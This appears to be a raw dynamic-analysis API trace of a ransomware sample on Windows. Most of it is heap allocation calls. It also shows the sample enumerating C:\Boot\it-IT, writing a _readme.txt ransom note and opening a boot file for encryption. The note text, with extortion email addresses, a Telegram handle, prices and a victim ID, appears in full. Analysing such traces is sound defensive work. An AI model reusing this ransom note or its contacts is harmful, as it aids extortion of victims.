0x3947d38 [0116.676] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.676] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.676] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.676] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.676] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.676] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.676] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.676] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.676] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.676] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.676] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.676] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.676] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.677] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.677] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.677] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.677] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.677] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.677] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.677] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.677] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.677] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.677] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.677] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.677] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.677] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.677] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.677] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.677] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.677] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.677] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.677] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.677] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.677] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.677] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.677] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.677] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.677] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.677] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.677] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.677] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.677] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.677] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.677] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.678] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.678] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.678] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.678] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.678] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.678] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.678] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.678] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.678] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.678] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.678] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.678] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.678] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.678] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.678] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.678] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.678] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.678] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.678] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.678] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.678] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.678] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.678] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.678] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.678] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.678] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.678] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.678] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.678] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.678] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.678] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.679] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.679] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.679] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.679] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.679] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.679] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.679] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.679] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.679] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.679] PathFindFileNameW (pszPath="C:\\Boot\\it-IT\\") returned="it-IT\\" [0116.679] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.679] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.679] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.679] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.679] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.679] PathFindFileNameW (pszPath="") returned="" [0116.679] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.679] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.679] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.679] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x800) returned 0x39f3ef0 [0116.679] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.680] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f46f8 [0116.680] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d38 [0116.680] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f46f8 | out: hHeap=0xd10000) returned 1 [0116.680] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.680] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.680] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.680] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.680] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.680] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.680] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.680] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x81c) returned 0x39dcb30 [0116.680] PathAppendW (in: pszPath="C:\\Boot\\it-IT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 1 [0116.680] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.680] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.680] PathFileExistsW (pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 0 [0116.680] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f9f20 [0116.680] lstrcpyW (in: lpString1=0x39f9f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.680] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.680] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.680] CreateFileW (lpFileName="C:\\Boot\\it-IT\\_readme.txt" (normalized: "c:\\boot\\it-it\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.680] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.681] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0116.681] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.681] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.681] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.681] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.681] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.681] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.681] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.681] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960f00 [0116.681] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.681] PathFindExtensionW (pszPath="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned=".mui" [0116.681] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.681] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960f00 | out: hHeap=0xd10000) returned 1 [0116.681] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.681] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.681] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.681] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.681] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.681] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.681] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.681] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.681] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.682] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.682] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, 